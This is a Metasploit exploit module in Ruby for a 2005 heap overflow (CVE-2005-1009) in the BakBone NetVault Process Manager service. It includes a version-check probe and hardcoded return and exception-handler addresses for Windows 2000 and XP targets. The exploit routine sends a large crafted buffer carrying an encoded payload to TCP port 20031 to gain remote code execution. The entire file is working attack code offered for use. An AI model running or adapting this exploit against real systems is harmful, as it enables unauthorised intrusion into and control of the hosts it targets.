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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = AverageRanking
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  include Msf::Exploit::Remote::Tcp
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'BakBone NetVault Remote Heap Overflow',
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      'Description'    => %q{
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    This module exploits a heap overflow in the BakBone NetVault
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  Process Manager service. This code is a direct port of the netvault.c
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  code written by nolimit and BuzzDee.
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      },
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      'Author'         => [ 'hdm', '<nolimit.bugtraq[at]ri0tnet.net>' ],
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      'References'     =>
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        [
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          ['CVE', '2005-1009'],
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          ['OSVDB', '15234'],
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          ['BID', '12967'],
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        ],
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      'Payload'        =>
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        {
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          'Space'    => 1024,
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          'BadChars' => "\x00\x20",
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          'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
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        },
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      'Platform'       => 'win',
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      'Targets'        =>
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        [
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          ['Windows 2000 SP4 English',   { 'Ret' => 0x75036d7e, 'UEF' => 0x7c54144c } ],
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          ['Windows XP SP0/SP1 English', { 'Ret' => 0x7c369bbd, 'UEF' => 0x77ed73b4 } ],
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        ],
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      'Privileged'     => false,
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      'DisclosureDate' => '2005-04-01'
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      ))
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      register_options(
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      [
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        Opt::RPORT(20031)
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      ])
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  end
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  def check
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    connect
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    hname = "METASPLOIT"
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    probe =
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      "\xc9\x00\x00\x00\x01\xcb\x22\x77\xc9\x17\x00\x00\x00\x69\x3b\x69" +
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      "\x3b\x69\x3b\x69\x3b\x69\x3b\x69\x3b\x69\x3b\x69\x3b\x69\x3b\x69" +
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      "\x3b\x73\x3b\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x00" +
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      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00" +
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      "\x03\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00" +
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      [ hname.length + 1 ].pack('V') + hname + "\x00"
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    probe += "\x00" * (201 - probe.length)
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    sock.put(probe)
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    res = sock.get_once(1, 10)
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    off = (res || '').index("NVBuild")
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    if off
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      off += 21
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      ver  = res[off + 4, res[off, 4].unpack('V')[0]].to_i
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      if ver > 0
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        print_status("Detected NetVault Build #{ver}")
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        return Exploit::CheckCode::Appears
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      end
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    end
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    return Exploit::CheckCode::Safe
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  end
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  def exploit
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    print_status("Trying target #{target.name}...")
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    head =
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      "\x00\x00\x02\x01\x00\x00\x00\x8f\xd0\xf0\xca\x0b\x00\x00\x00\x69" +
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      "\x3b\x62\x3b\x6f\x3b\x6f\x3b\x7a\x3b\x00\x11\x57\x3c\x42\x00\x01" +
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      "\xb9\xf9\xa2\xc8\x00\x00\x00\x00\x03\x00\x00\x00\x00\x01\xa5\x97" +
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      "\xf0\xca\x05\x00\x00\x00\x6e\x33\x32\x3b\x00\x20\x00\x00\x00\x10" +
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      "\x02\x4e\x3f\xac\x14\xcc\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
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      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01" +
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      "\xa5\x97\xf0\xca\x05\x00\x00\x00\x6e\x33\x32\x3b\x00\x20\x00\x00" +
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      "\x00\x10\x02\x4e\x3f\xc0\xa8\xea\xeb\x00\x00\x00\x00\x00\x00\x00" +
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      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
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      "\x00\x01\xa5\x97\xf0\xca\x05\x00\x00\x00\x6e\x33\x32\x3b\x00\x20" +
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      "\x00\x00\x00\x10\x02\x4e\x3f\xc2\x97\x2c\xd3\x00\x00\x00\x00\x00" +
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      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
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      "\x00\x00\x00\xb9\xf9\xa2\xc8\x02\x02\x00\x00\x00\xa5\x97\xf0\xca" +
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      "\x05\x00\x00\x00\x6e\x33\x32\x3b\x00\x20\x00\x00\x00\x04\x02\x4e" +
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      "\x3f\xac\x14\xcc\x0a\xb0\xfc\xe2\x00\x00\x00\x00\x00\xec\xfa\x8e" +
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      "\x01\xa4\x6b\x41\x00\xe4\xfa\x8e\x01\xff\xff\xff\xff\x01\x02"
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    pattern = make_nops(39947) + "\x00\x00\x00"
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    p       = payload.encoded
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    pattern[0, head.length]  = head
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    pattern[32790, 2]        = "\xeb\x0a"
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    pattern[32792, 4]        = [ target.ret ].pack('V')
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    pattern[32796, 4]        = [ target['UEF'] ].pack('V')
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    pattern[32800, p.length] = p
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    sent = 0
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    try  = 0
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    15.times {
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      try += 1
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      connect
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      sent = sock.put(pattern)
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      disconnect
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      break if sent == pattern.length
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    }
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    if (try == 15)
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      print_error("Could not write full packet to server.")
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      return
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    end
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    print_status("Overflow request sent, sleeping fo four seconds (#{try} tries)")
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    select(nil,nil,nil,4)
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    print_status("Attempting to trigger memory overwrite by reconnecting...")
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    begin
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      10.times { |x|
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        connect
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        sock.put(pattern)
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        print_status("   Completed connection #{x}")
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        sock.get_once(1, 1)
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        disconnect
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      }
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    rescue
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    end
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    print_status("Waiting for payload to execute...")
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    handler
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    disconnect
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  end
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  def wfs_delay
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    5
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  end
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end
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